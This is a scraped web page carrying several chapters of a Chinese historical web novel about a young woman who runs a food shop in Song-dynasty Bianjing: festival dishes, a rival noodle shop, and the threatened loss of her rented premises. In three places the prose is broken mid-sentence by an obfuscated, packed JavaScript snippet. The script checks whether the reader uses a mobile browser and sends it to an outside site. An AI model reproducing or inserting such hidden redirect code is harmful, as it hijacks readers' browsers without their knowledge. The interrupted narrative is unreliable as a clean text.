陆琼本想回绝她的心意，但转念一想，金娘定是想感谢今儿的事，便笑着收下了：“要是早知道你来，我就不操心午食吃什么了。” 金娘也笑得更欢，少了点紧张：“那也算是给琼姐儿加餐了。” 红楼离得近，不过半个时辰，酒楼的闲汉就把食盒送过来，揭开盖还热乎着，定是刚做好便马不停蹄地送来。 陆萱赶忙把菜端进去，没多久便换了空碗出来，把酒楼的碗碟还回去后，陆琼才给了闲汉二百文。 其中一百九十文是给酒楼的钱，一份碎金饭二十文，香酥鸭一百五十文，香酥鸭份量不少，够她们吃好几日。红楼也算是汴京城里最划算的酒楼，比起别的酒楼，价钱更低，份量也更多，只是味道差些。 碎金饭倒是味道不错，也只是蛋炒饭罢了。时下流行把蛋黄唤作碎金，毕竟蛋黄呈金色，切碎后跟米饭一起炒，陆琼觉得叫碎金饭着实不错。 八仙桌上，金娘端来的炒羊肉跟香酥鸭摆在一块，一人一碗碎金饭，旁边还有一份化了冰的冷元子。 陆琼馋这炒羊肉好久，咬一口，外皮酥脆，内里嫩滑，应当是先用调料腌制过，在锅中煎过一段时候，才用大火翻炒，不仅多汁还咸香，碎金饭上蘸着料汁，更好下饭！ 手艺真好，若不是已有一个杨姐儿，还真想把金娘请过来...... 陆萱吃完一块羊肉，便夹起一个鸭腿，啃下一片焦黄酥脆的鸭皮，连着鸭腿的筋也带下来，就是咬不开。她跟鸭腿较着劲，皱起脸，边咬住肉，边用力拽下鸭腿，吃进嘴里才展开眉头。 这香酥鸭着实有嚼劲。 用过午食，再下一碗冷元子，冰冰甜甜的，对陆琼来说，堪比饭后吃冰西瓜。 过几日就是乞巧节，届时也要准备做巧果和饺子。 巧果是油炸的面食，不难做。饺子则不一般，按照习俗，会在一些饺子里放铜钱、针、红枣，吃到铜钱寓意发财，吃出针为手巧，吃到枣的则是早婚。 不过放针太危险了，陆琼便把这一个去掉，打算只包铜钱和红枣。 算起来，也该寻杜哉去打打广告了。 * 锅里炖着茄子，咸咸的香味一直散发在四周。 杜哉见时间还早，就忍不住翻出自己藏好的木盒子，打开后，里边是金光闪闪的铜板。 全都倒在地上摊开，他也趴在地上一个个数：“五、十......三百二十四！” “竟然有三百多文！” 这都是杜哉新攒的钱，大多数都是陆琼给的钱，每回有什么新品要出，都是他去帮忙。 可还是远远不够,杜哉挠挠头，不知如何是好。 应天书院的诗会在临近午时结束，杜延想寻些油纸，便端着盛有点心的盘子去灶房。 恰好碰上堂长从灶房出来，他端着糕点的手无从安放，只好双手捧着，对堂长行礼问好，隐约间还问到一股香味，好似是叫花鸡。 堂长点头，和蔼地笑着：“恒之，又来灶房帮忙了？” “是的，堂长。” 杜延是靠天资聪慧才进的书院，买纸笔便要花费不少钱，是以他平日便会到灶房干活，用来换取一份午食，这也是山长准许的。 与堂长倾谈一番，他便跟灶房的火夫要了些油纸，将盘中的两份广寒糕、一份荷花酥、两份梨花酥叠好，一并用油纸包住。 杜延回去路上便藏不住笑，这些糕点平日里可吃不到，带回去，哉儿见了定会高兴。 这般想着，他便忍不住加快步伐，很快就见到自家的屋顶。 “阿弟，兄长回来了！” 他们家没有院 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杜哉点点头。应天书院可不好糊弄，若此事是真的，这陆记的掌柜也太有本事了，以后肯定能赚很多钱，他可要跟人打好交情了。 后日，不对，明日就去找人。 见他陷入沉思，杜延便觉得欣慰。哉儿总算把他的话听进去了，以他的悟性，明年的童试定是出不了差错。 * 晨间的雾气渐渐散去，州桥一条街上的食铺全都生火，各种香味混杂在一起，汤饼香、馒头香、胡饼香、糍粑香、蜜炙香...... 与陆记一同开张的，还有三娘汤饼店，门边摆着一块木板，写着——“新店开业，赠一份豆儿水”。 杨姐儿也知道这事，见不少路过的食客都跑到三娘那去，连镈饦都揪不好，一片长，一片短。 陆琼见了，赶紧点醒她，便继续调冷淘的酱汁。 见她这般淡定，杨姐儿心里着急：“小娘子，你怎就不急呢，食客都跑光了！且这开业送饮子的点子还是你想的，她怎么就偷学去了。” 陆琼把加了槐叶汁的面皮下入清水锅中，木匕搅拌着，浮出一层雾气，看不清脸：“手长在别人那，人家要学去我也没法子。再说喜新厌旧的是常态，说不准，食客都是去尝鲜的，日后能不能留住还得看手艺如何。” “你就安心在这和面、揪面片，铺子生意如何应当是我该考量的，不然今儿味道差了些，客人走得更多。” 倒也不是给杨姐儿压力，陆琼知道她也是好意，只是怕她乱了神，分了心，这情况会更糟。 前世她也经历过不少类似的事，靠新奇的点子能吸引不少食客，但要长久做下去，还是靠真本事。毕竟汤饼好吃，即便在犄角旮旯，也总有人闻着味寻来。 杨姐儿知道她向来有主意，便点头不再问，认真干着手上的活，很快便无心思索别的事。 29. 乞巧节 自三娘汤饼店开业以来，陆记着实受到打击，除了对比起来有些冷清，再就是汤饼的销量不好。 好在陆记还有糕点、渴水进账，尤其是步入暑日，冷元子的需求只增不减，正好抵消汤饼的损失。 乞巧节前几日，陆琼便找杜哉推广陆记的乞巧活动，也在门前摆了块木牌——“乞巧吃角，巧果巧酥”，还找人添上些简易的图案，也是像样，还方便了不识字的百姓。 到乞巧那日，天气格外好，陆琼一早便起来，把院子的晾衣杆架好，晒上家中所有的衣裳、被褥，可以避免生虫，毕竟前阵子的雨也下得够久。 她还把堂前的地扫净，铺上一层厚厚的干稻草：“萱儿去把堂屋的垫子也拿来，放在这晒晒。” 陆萱跑上跑下，早已出不少汗，但还是有很大兴致，因为今日就能见到离姐儿！ 她们刚去铺子便要开始和面，陆琼打算多做些巧果，是以刚开始糖便用去一罐，加蛋液揉成团后置于木板上。 时下没有现成的“酵母粉”，百姓便会提前把面团放置几日，待发酵好就被叫作“老面”，下回要做面食时揪一块掺到新面即可。 陆琼早就做了老面，现下切一半到新面团里，再揉多几回，这面就会很快发起来。 不过今儿杨姐儿很古怪，几次对上视线便移开，还总是欲言又止。 她很快也无心此事，怕面团发过了做出的巧果卖相差，便赶紧揪长条，分成一份份剂子，再压到提前准备好的模具上。 重点是面团不能加得太满，否则就成了馒头，没有模具的形。 而这加了蛋液、糖的面团，还呈淡黄色，放在新灶烙至两面有些焦黄，待巧果熟了便好。 一出锅，满是面饼的香味。 陆琼隔着热，把巧果捏在手中还是松软回弹的，掰成两半，露出里边的蜂窝孔。 还带着蛋香，类似蛋卷的香味，只是口感更暄软，像小蛋糕，她吃完一个还想吃，这应当是做成了。 杨姐儿尝过也忍不住夸赞：“小娘子手艺愈发巧，定是织女转世。” 乞巧，乞巧，就是祈求自己像织女那般心灵手巧，陆琼也喜欢这个节日，不过杨姐儿的赞美还是夸张些。 她是否为织女转世尚不可知，杨姐儿的“牛郎”倒是来了。 不过陆琼总会想到另一个“牛郎”，可惜他乡无知音。 对门鱼铺的陈枫登门，还围着陆琼问：“陆掌柜今儿几时闭店？听闻今晚汴河有花灯，城南还有香桥赏......” 就差将汴京城所有活动都列举一遍。 陆琼接过杨姐儿捏好的巧酥，故意对上杨姐儿的视线，假装苦恼：“今晚可是人最盛的时候，若是闭店，可就挣不着钱了，还是罢了。” 陈枫也不能叫人不做生意，再逗留多些时候，才依依不舍地离开。 刚把巧酥、巧果做成，谢家的侍女桃红也赶来，还把部分巧果装进食盒，嘴角微微勾起：“上回的冷元子可还有？” “有的，这回也是不放冰？” 桃红提着食盒，点头：“多盛些元子，我家娘子惦记许久了。” 起先陆琼回疑惑，谢家有芸香楼，为何还跑到她这买冷元子，后来才知芸香楼不做这样的元子，倒是有不少冰酪、酥山等冷食。 可这些为寒凉之品，对身体不好，平日也会叫厨娘做吃食，可她家娘子只想尝鲜，便也不好叫人特意做，到外边买还方便些。 送走桃红，陆琼便又在铺子里忙得团团转。前往陆记的食客络绎不绝，还有人订了五十份的巧果、二十份的巧酥，可将她们累坏了。 巧果有不少，可巧酥不够，做起来还费劲，最后还要捏成不同的形状，倒是有个好听的叫法——“送巧”，祝愿女子愈发手巧。 比宣传男女爱情来得实在，毕竟在宋代，手巧的女子容易找事做，待钱攥在手里了，那才叫踏实。 生意实在旺，陆琼午食便在店里吃些汤饼凑合凑合，倒是陆萱还惦记着红楼的菜，又托闲汉跑腿买来煿金煮玉。 “金”就是炸竹笋，”煮玉”则是笋煮白粥，一道菜便是竹笋的两种做法，也是不常见。 竹笋却是寻常食材，不论是间笋蒸鹅，还是三脆羹，就连馒头也会夹笋。而竹的寓意好，相国寺的僧人便也偏好竹笋，还生了食笋的情节，陆琼觉得他们也是清雅。 吃过午食，陆琼便觉得有些倦，坐在墙边闭目养神。心里后悔，早知就不硬撑了，还不如回去歇息，养足精神再来也不迟。 半梦半醒间，她听见有人再耳边谈话，睁眼便见虞娘站在杨姐儿身边揉面团。可虞娘怎么在这？旁边还有离姐儿。 “虞娘是怎么找到这的？” 她离开上元村时，只跟虞娘说去龙津桥摆摊，那时还没陆记，后来便忘了告诉虞娘一声。 “寻人问的，那人认识你，就带我们来这，”虞娘在光滑面团上压印子，“不过你这铺子真大，汴京也变了许多，我险些都找不着路。” 虞娘上回来汴京也是好些年前，近来城中商铺林立，有所变化也是寻常，只是心里隐隐有些落寞。 见到熟悉的人，陆琼也变得话多，还好奇她们何时回去？ “离姐儿非说要来，惦记好些日了，昨夜还睡不着，今儿起晚了还怪我不叫醒她。所幸就在入城处订了客栈，明日再回去。” 虞娘还说，她来之前替陆琼看了眼屋子，屋顶完好，只是院前的菜地生了杂草，倒也不碍事。陆琼还趁机问虞娘不少上元村的事，都是些家长里短，无非是谁家娶了新妇，谁家盖了房子，谁家挣了大钱。 可她还是听得津津有味...... 离姐儿跟陆萱早早便不知所踪，好在离姐儿年纪不小，陆萱还知道路，倒也不会叫人担心。 眼见着天热，进店的食客便少起来，陆琼打算提前包些饺子，不然等食客一多就忙不过来。 包了百来个饺子，有白菜猪肉馅、韭菜猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下午掐的饺子还剩下十来个，便全都下锅煮，饺子在水中翻滚，咕噜咕噜，掀起一阵白雾。陆琼拌匀几下，便捞到碗里，再添上一小勺汤汁，撒上葱花，一碗饺子就端到桌上。 “角子里包有铜钱、红枣，若是小郎君吃中，便是有福气。”陆琼说完还给他换新茶。 “多谢。” 谢洵也听闻过乞巧节吃饺子的习俗，不过那是未婚女子较为上心的事，他在家中还未做过此事，倒是有些稀奇。 饺子冒着热气，夹在筷子中没多久便冷下来，谢洵就着饺子边咬一口，味道有些奇怪。 除了肉香，还带着别的味道，低头一看，饺子馅露出红枣来，想起小娘子曾说的，这是有了好运？ 陆琼招待完另外两位小娘子，也发觉这边不对劲，跑上前去看看，就见饺子中夹了红枣，这是什么运气，剩下的十个饺子还能有吃中的。 谢洵持着筷子，笑着仰头看她：“小娘子方才说吃到红枣便是有福气，那我这是什么福气？” 饺子汤新鲜出炉，呼呼冒着热气，隔着这层雾，陆琼倒是看不清他的全脸。 “这是早婚的福气。” 许是这答案太过意外，谢洵一时愣住，手一松，筷子夹中的饺子便掉进碗里，溅了不少水花。 30. 再相聚 陆琼扯下腰间的粗布，擦干桌上水渍，又把先前媒人对她说过的话术转变一番，弯眼笑道：“谢郎君这般已是适婚年龄，说不准接下来便能喜结良缘。” 谢洵倒是面子薄，还未被打趣几句耳尖便红起来，却还是硬把话接住：“谢某多谢陆娘子的祝福。” 忽地就忙起来，手背探了探茶壶外壁，不想他顿了顿，才抿嘴道：“这茶好似凉了，陆掌柜可否帮我换一壶。” 茶可是刚换的，不仅没凉，还烫得很。 陆琼见他手背都红了一片，并没有戳破，只是意味深长地笑，应声好便把茶壶放在托盘上。 这人啊，脸皮薄才好，一眼就能看穿，交起心来才不会费劲。 接下来店里都很清静，除去碗筷碰撞声，便是两位小娘子的私语。 淡粉襦裙的小娘子掩面笑着：“可惜没有多余的角子，不然我也要看看能否吃中‘早婚’。” 旁的小娘子打趣她：“你整日藏在家中，又看不上媒人介绍的小郎君，就是吃到一百个掐红枣儿的饺子，也难成婚，更妄论早婚。” “就算看破，也不能道破呀。” 说是私语，可这会儿的陆记太安静，一点声响便传遍屋子，剩下的二人也是一字不落地听进去。 陆琼左手撑在木柜上，待账本上的墨水干透，便翻下一页，这两位小娘子可真有意思。余光一撇，某人不止耳尖红，连带着耳根都是一片红，怕不是用耳朵去试探茶壶温度了。 好在两位小娘子惦记着放花灯，待汤饼吃完，巧果尝遍，便拉着手去逛汴河。 谢洵也吃净碗中的饺子，剩下小半碗的汤汁，留下小块碎银子：“劳烦路娘子了。” 汴京人倒还是讲礼节，陆琼也笑着把碗撤下，再把碎银子顺手带上。 送走最后一位食客，她便赶快把木门合上，只开出一条细缝，回到灶台，把剩下几只碗叠起来，单手托碗，另一手抓了把皂荚。 铺子后门对着的街巷行人不多，较为清静，唯有月光发出淡淡的光，陆琼借着月光，从水缸舀一勺水，冲净碗里的浮沫。 旁的木门吱呀一声，探出来一个身子，是施三娘，她手上也抱着盆，稍一弯腰，盆中的污水便顺着小道流走。 汤饼香也四溢，看来她的汤饼店正旺着。 下午新做了一锅巧果，不料卖到暮时还剩下不少，可总不能在这放一夜，陆琼便翻出一个竹编食盒，把它们都装进去。 离开时，她便顺手把门边的木牌收走，贴着墙角摆好，路过三娘汤饼店，就见牌匾漆光油亮，屋里坐着不少食客。 回到通济坊，巷子里一片昏暗，连金娘家也不见一丝光亮，许是出街逛花灯了。 真有些冷清。 陆琼坐在堂屋前赏月，尝一块巧果，淡淡的鸡蛋香袭来，陆萱不在，雪儿也困得打盹，颇有种留守老人的寂寞感。 直到月光隐去，陆萱才带着新买的磨喝乐回来，脚上穿的正好是那日新买的鞋，每走一步，珠子便晃动一回。 她兴冲冲地跑到陆琼面前，绘声绘色地讲述今日的所见所闻：“香桥使用纸包的线香搭成的，还装上了栏杆，扎了五色花，就是不能站上去......” “还跟离姐儿还去斗巧了，穿七孔针，我比她穿得快。” 听她这样讲，陆琼也觉得有趣，倒是遗憾没去看了。 直到夜深，陆家的最后一盏灯才灭下。 * 汴京人夜生活丰富，且不少食铺开至半夜，第二日便起的晚。上午过去近半，陆记才陆续有食客光顾。 陆琼挽起袖子，取出盆中的面团开揉。杨姐儿昨夜去穿针了，天色暗看不太清，一不留神就扎到指腹，用力便疼，便叫她去招待食客了。 好在虞娘前来帮忙，不然她一人可忙活不来，过惯了清闲的日子，只是站着揉面便觉得腰酸。 “虞娘可是午时回去？” “约莫是酉时，”虞娘坐在灶台下的矮凳，借着外头的光择菜，“顶着太阳可太晒了。” 虞娘来之前就交代家人，卯时就要把地里的菜浇一次水，要是等到正午，菜都得焉掉。怕陆琼在汴京吃不到新鲜菜，她还从地里摘了不少来，有茄子、胡瓜、薤...... 想起这两日的见闻，虞娘还是不住感慨：“汴京变化真大，到处都是铺子，昨夜腿都走断，还是没逛完汴河的商铺。” “那虞娘怎么没想过也开铺子？” 虞娘摇摇头：“你叫我杀猪容易，但叫我打理一个铺子就不行，再说上元村还有不少地，走了就不知便宜谁，如今村里可都打着地里的主意。” 见她这么说，陆琼便也不再劝，可还是心疼虞娘，持刀多年，看着是壮实，却也落下不少病根，若是不杀猪，只卖肉说不准还能挣得更多。 接近午时，陆琼本想把人带去酒楼，可虞娘却拦着她，不肯叫她多花钱，便各退一步，买了不少菜回家做。 虞娘跨上台阶，打量四周：“汴京就是好，这院子除了小，不能种菜，还挺干净，连鸡粪都见不着。” 陆琼心道，是她不想吗？还不是没地方养鸡，不然能养出一群来，等孵出小鸡后，还能再养一批。不过算下来，无需多久她便能换个大院子了。 雪儿听见动静，从堂屋跑出来，围着她们的腿边打转，离姐儿却被这吓一跳，挥着双手叫它离开。 陆萱蹲下身，把雪儿身子揽过来，顺着它的背道：“离姐儿莫怕，它乖得很，不咬人。” 见这狗真的不咬人，离姐儿才松口气，却还是躲着，她幼时被狗追的经历可不少...... 还没等多久，金娘也带着霜姐儿来，几个姐儿便在院子里玩，逗着狗，吃着昨日剩下的巧果，很快就打成一片。 虞娘拎着包袱，跟着走进堂屋，八仙桌擦得一尘不染，两边还各摆了长木凳，不比她在上元村住得差。 “在这过得着实不错，原先你说要搬到汴京来，我还不看好，以为你没多久便会回来。没想到麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这处房屋挨得更近，毕竟是靠近皇城，芸姐儿家门前空荡荡，只有台阶还残留着上月生出的苔藓。 她站在门外，听见屋里细小的动静还伴着妇人沙哑的咳嗽声。 “娘，你先喝些水，慢点喝，别呛到。” 陆琼听出这是芸姐儿的声音。 有人拍着妇人的背，妇人顺了顺气才道：“铺子生意如何了，你进来日日在这照顾我，万一出乱子可如何是好。” 屋内安静一会儿，才响起芸姐儿的声音：“不碍事，我请了厨娘，都忙得过来，就是做不出您做的味道” 妇人微弱地笑着：“不怕，我还是你这般大时，也做不出那种感觉，我娘就在一旁看着我做，慢慢学，直到某日，便突然会做了。” 芸姐儿轻轻地“嗯”了声。 听到这，陆琼便有些沉默，一时不知该做什么。 31. 鸡肉粥 陆琼走后没多久，杨姐儿便开始淘米，打算煮一锅鸡肉粥。 新打的灶台除了用来蒸糕点，再就是炖菜、炖肉，如今还能炖粥。往锅中倒米、加水，放上几根柴，不用怎么照看火候，闻到香味便好。 尤其是到夜里，晶莹剔透的大米在水中冒着泡咕噜响，就倒入切好的鸡肉，滚烫的稀粥把鸡肉从泛红的血色煮至纯白色。 鸡肉的香味渐渐散开来，勾得街上的行人垂-涎三地，忍不住咽口水，即便是吃过暮食，还是要来陆记尝上一碗鸡肉粥，暖暖的粥下肚，才叫舒坦。 现下陆萱也从通济坊赶来，正端着茶壶招待食客：“稀粥五文一碗，鸡肉粥十五文一碗。” 食客本想说一碗稀粥，再要多两份绿豆糕便够。 可闻着邻座飘来的浓郁鸡肉香，他肚子也忍不住咕咕响。既然都来了，那也不能叫自己受苦，便把到嘴的话一改。 “那就要一碗鸡肉粥！” “好咧，稍等。”陆萱记下账，随手把账本一塞，合上抽屉，又转身从柜子拿出新茶叶，准备替食客上新茶。 灶台旁还放着一个小火炉，上边烧着小壶水，如今正冒着气，她把粗布盖在把手上，一气呵成提到边上放好。 上回诗会买的龙溪茶还剩了许多，便一直用到现在。 陆萱先把茶杯用开水冲洗一遍，再投茶，这茶叶颜色偏深，倒入开水，全都悠悠浮上水面，淡淡的茶叶香也飘散开来。 这茶刚上，杨姐儿也把鸡肉粥炖好，还按照食客口味添了胡椒、葱花、姜片，掩盖住鸡肉的腥味。 食客远远闻着香味，直勾勾地盯着这碗鸡肉粥，见杨姐儿刚放下便迫不及待握起勺子。 盛一勺，热乎乎的，还一直冒着气，到嘴边小心地嘬一口，他眸子亮了亮。 这粥咸咸的，也有肉香，何况一碗的份量可不少，还顶饱！ 那头陆琼奔波半日，白天吃的东西也早已耗光，如今身心俱疲。回到陆记，见到店里灯火通明，食客脸上带着笑，就连陆萱也努力招待客人。 若是时间能静止在这一刻多好。 “阿姐！”陆萱只知道她有事出去办，还不知道今儿发生的事情，如今见着人便迈着步子噔噔跑来。 灶台的粥香一直飘散到外边，陆琼吸了吸鼻子，顿时觉得有些饿，抻长了脖颈往锅里瞧，更香了。 不过一想到这口灶很快也要离她远去，便觉得心里堵。 “萱儿，今晚我去......” 话还没说全，就有新的食客进来，陆萱便又转身忙去了，只是叮嘱她一句：“阿姐，你方才吃得少，锅里还有不少粥，趁热盛些来吃。” 杨姐儿揉面的地儿离炖粥的灶台有点距离，便把陆琼拉过来，凑近来咬耳朵：“小娘子，那芸姐儿可是怎么说的？这铺子还能继续赁？” “还没找人问着，天太黑了，不方便。” 陆琼没把事情经过仔细说与杨姐儿听，总觉得这事明天还能解决。 杨姐儿也笑着安慰她：“那回头再跟人问问。” 见陆琼笑着应下，杨姐儿也彻底放下心。 陆琼坐下后，便给自己盛一碗粥，还冒着热气，待吃进肚里才觉得舒服多。 转眼便是第二天，街上雾蒙蒙的，来往的摊贩推着独轮车走，而陆琼天还未亮便守在药铺门前。 她先是站着，站到腰累了才蹲下，蹲了没多久腿便开始发麻。 怎么人还没来？ 先前就见芸姐儿常常到这一带捡药，难不成是今天有事来不了。 见等不到人，陆琼干脆站起来，谁知远处的芸姐儿正急匆匆赶来，眼圈红着，面上也是一脸焦灼，定是哭过了。 还没等陆琼叫人，芸姐儿直接与她擦肩而过，还差点绊在门槛上，又着急地把郎中叫走。 陆琼也不好把人叫住，只是寻药铺里的学徒问了一番，才知芸姐儿的母亲昨夜病情加重，今儿再叫一回郎中，怕是已经回天乏术。 这叫她也难以相信，明明昨天还鲜活的人...... 不想把人逼太紧，便没急着找芸姐儿，却没想到不久芸姐儿便主动找上来。 “找郎中那日我就看见你了，不过当时心里只想着我娘，就没跟你说话。” 芸姐儿声音比往常虚弱，身子也变得枯瘦，脸颊两边还都陷下去，看着吓人。 陆琼抿着嘴默不作声。 芸姐儿也自顾自道：“我还对不起我娘，铺子也没保全，早就当给旁人去了。” 陆琼便追问这买主是谁，竟是三娘汤饼店的掌柜，施三娘。 这可怎么办？ 这一瞧便是要把这铺子合并了，届时扩张店面来了。 因着芸姐儿急着出手，这铺子原本值上百贯，如今卖出八十贯，不过对陆琼来说，也是一笔超大的钱，毕竟她现下最多能拿出七.八贯钱。 这笔钱虽没治好芸姐儿的母亲，但也能体面地下葬，叫芸姐儿心里也好受些。 这下陆琼也彻底拿不定主意，心里提醒自己这不能怪芸姐儿，可想到还剩下十几日，这铺子便要转手让人了，就揪心不已。 “施三娘这是想把两家铺子打通不成？听说这如今的铺子也是买下的，不是赁的。”杨姐儿听了也愁。 她说着又看一眼旁边正在收桌子的陆萱，收着声儿：“这事萱姐儿还不知呢？” 陆萱自是不知，这几日还在琢磨酥山的做法。店里新进了一批冰，就忍不住试做别的饮品。 酥山卖相精致，底下铺一层冰沙，慢慢堆成小山，上边浇下杨梅果肉、荔枝肉或是李子肉，酸酸甜甜。 好酒的人还能加入一些米酒，伴着酒香，冰凉爽口，带走夏日的燥热。 铺子还没开张，陆萱便摸着黑开始洗果子，削皮，压成果泥，盛到盘子里备用，每回给食客做好一份，便忍不住给自己偷偷做一点。 陆琼觉得那是水果刨冰的口感，只可惜冰沙不能再绵密些，碎冰有些大。 但对汴京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978359|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来说，这已是极为奢侈的饮品，一份便要二十文，陆记就是整日开张，也才卖出二十来份。 说着，便有一位食客点了份荔枝酥山，那头陆萱应声好就立即去备冰。 看她忙忙碌碌的身影，杨姐儿也忍不住艳羡：“还是不知道的好。” “不过，芸姐儿也是个可怜人，当初就是为了治她娘的病才把这铺子赁人的，如今......唉，造化弄人。” 认识芸姐儿的人都道她是个省心的孩子，她娘也是有福气的人，偏偏就是她娘这几年身子突然不好，本以为看郎中就能好，可谁成想会要了命啊。 芸姐儿本就难过，陆琼也不好咄咄逼人，只能去找作为讼师的沈二娘出出主意。 沈二娘说，当初跟芸姐儿定契只赁了一月，一月过后，租与不租全在芸姐儿。是以陆琼也只能提前找新铺子，不然就只能改回老本行，到州桥摆摊去了。 这天陆琼又出去一整日，到暮时才归来。 杨姐儿已经替她瞒了陆萱三日，可也着实有些顶不住：“小娘子，可寻牙人问到新铺子的下落了？” “还没，”陆琼摇摇头，“找阿戈问过，近来没有趁手的铺子，有也是偏小的，再不然就是租金高的，一月少说要六、七两银子。” 如今她手上也才不到十两，若是真拿来盘铺子，剩下的钱也刚够买食材，若是遇上哪日经营不当，不仅倒贴一大笔钱，连招牌就得毁。 杨姐儿也跟着忧心忡忡，却又不知如何安慰，只能把心思放在手里的活，和面、揉面......就连哐哐的摔面声也能叫她暂时安心些。 剩下几日，陆琼也没少走动，得来的消息全是一样的，好似真的没有出路了。 就连金娘都看出她的不对劲。 今儿她来跟陆琼借醋，想把家里的竹筛洗洗，上回晾做豆腐的纱布，结果忘了洗，放屋子里生霉了。 赶巧要用，家里的醋还没了，只好拿竹筛跑过来讨醋洗。 “你家醋放哪呢？” 陆琼在做最后的打算，想得入迷，就没注意到金娘来了。直到人走到跟前，还晃了晃手，这才回过神来。 金娘稀奇地叫一声：“你这几日是怎么回事，听萱姐儿说，你都跑外边好几回了，很少待在铺子里，这可不常见。” 许是没有主意，陆琼便把憋了好久的事说出来，皱着眉：“如今也不知怎么办好？摆摊也不稳定，总不能就这样搬出城去。” 想起在上元村的日子，虽不能挣大钱，却也是轻松自在的。 晨起喂鸡，做完早食就去采草药，下午休憩，在家编编竹编，时而还能到溪边捕鱼，摘野果子，挖挖野菜。 “这都什么事？”金娘深吸一口气，“既然铺子当给别人了，那就去找买主问问，看能不能缓多几日，不然就去州桥那摆摊，照样能活，不至于搬出城。” 被金娘这么一点醒，陆琼也觉得这些天是有些优柔寡断了，突然觉得眼前的路明亮些，毕竟不会比如今更差了。 32. 酱羊肉 到陆记时，杂货铺的掌柜托人运来一大车东西，三袋新面粉、五罐糖、胡麻......还有新订的梅花糕点模具。 陆琼抱起一罐糖，不忘叮嘱身后的小厮：“新面放在木架最底层，旁的都放在上边。” 一袋面粉有半人重，小厮蹲下马步，把面粉扛在肩上，稳稳当当地搬到后门边的木架。 待东西放好，杨姐儿给小厮几个铜板，还塞了一碗放冰的豆儿水：“小郎君辛苦了。” 小厮笑着把碗送到嘴边，一口饮尽，喟叹一声：“真凉快！” 这豆儿水喝下去，嘴里还在回甘，叫他喝了还想再来一碗，不过也只是想想，待会还要去给下一家送货去，不然钱没挣到，还净花出去。 送走小厮，杨姐儿也绕到木架边，把新买的面拆开来，用来做巧果。虽说乞巧节过了，但还是有不少食客好这一口，每天只做一锅，也能卖光。 “小娘子，这铺子的事可解决了？” 陆琼把空的糖罐子挑出来，再把新的陶瓮摆上去，如今听到这事也没先前那般急。 “这两日便去找施三娘说去，看能不能把这铺子保下来，就算她要提高租金，我也得应下。” 先前本就是芸姐儿急着出手，她才用二两拿下的，不过也至多能接受六两的租金了，再高就不大值。 杨姐儿点头，顺着道：“也只能这般。” “不过小娘子得早些跟萱姐儿说清，近来也有风言风语，怕是听了不少。” 这也是让陆琼颇为苦恼的事，在事情没彻底解决前，她也不想陆萱掺进来，毕竟也帮不上忙，只能白跟着担心。 陆琼把东西放好，拍净手里的粉尘：“先寻施三娘谈谈，等事情有着落了再说也不迟。” 搬来汴京后，陆萱也结识了不少年龄相仿的人，有时她们也会故意转到陆记，好在这待上一阵子，再就是走到汴河上，边赏景边聊天。 “我娘说你们家铺子要关了，这是不是真的？” 魏盼比陆萱矮半个头，跟她说话时还要仰头才能对上视线。 这是因为家里人个子都不出挑，骨架也偏小。就这样，魏盼的娘便整日给弟弟补身子，可也不见得长个子。不过魏盼会也不会干看着，每回都会给自己藏点吃的，譬如煮红薯的多放一根，快熟了才偷偷拿走。 一旦藏东西了，她就会带到汴河吃，坐在石阶上感受风拂过河面，带走夏天的燥热。 起初只有一人，后来便拉上陆萱一起，有时遇上陆琼，还能吃到新出炉的糕点、洗净的果子、冰冰凉凉的渴水。 陆萱出来时带了几个巧果，捏在手心软乎乎的，分一半给魏盼，眼里还闪烁着街巷灯火：“你娘从哪听来的？” “我也不知道，你就当我娘是胡说的。” 魏盼咬了一嘴的巧果屑，赶忙咽下去，含糊不清：“不过你真幸福，每天都能吃到这么多好吃的，这个吃起来好软，好香。我娘也做了巧果，就是糖不舍得放，鸡蛋也没多少，跟吃素馒头似的。” 陆萱知道她爱吃，干脆把剩下的都给她：“那你先吃着，我还要回铺子里，下回给你带酥山，放最多的冰。” 魏盼手里还捧着几个巧果，装都装不下，听到吃的，眼睛都亮起来：“那你快些去，记得下回给我带吃的！我也给你带。” 陆萱好笑地点头：“知道了。” 沿着汴河走，一路上都是铺子、摊位，尤其是天色渐晚，出来乘凉的人也越多。州桥处更是灯火阑珊，河面上倒映着稀疏的人影，时时还传来欢笑声。 杨三娘也带着三岁大的裴丫在汴河闲逛，没想到裴丫腿短，走不快，杨三娘也抱不动，就又气又怨：“再不走快点，就吃不成汤饼了。” 裴丫年龄小，也不敢说话，怕吃不到娘说的汤饼，红着脸噔噔跑，才勉强赶上杨三娘的步子。 杨三娘牵着裴丫走下桥，便瞧见陆萱从旁边的汴河走来，想起近来听到的风声，勾起一抹笑：“萱姐儿，你走哪去？” 陆萱很少跟杨三娘有交流，即便是在巷子里遇见，也是打个照面便离开，对杨三娘说不上喜欢，也没有几分讨厌，倒是裴丫比她更讨喜。 不过今儿看见杨三娘的笑，心里却生出一股不舒服，但还是记着阿姐说过的话，不要与人生间隙。 她便笑着：“出来透透气，正准备回陆记，就不打扰三娘了。” 杨三娘装作不经意，“哎”一声，“你家铺子可是要跟施三娘一起开了？还真是件好事，毕竟施三娘也是汴京有名的厨娘，有钱人想请也请不来。” 陆萱想起这些天忙得不着地的阿姐，心里的疑惑更深。方才魏盼的话只是叫她觉得可笑，可杨三娘爱打听，还碎嘴，说的事却没有假。 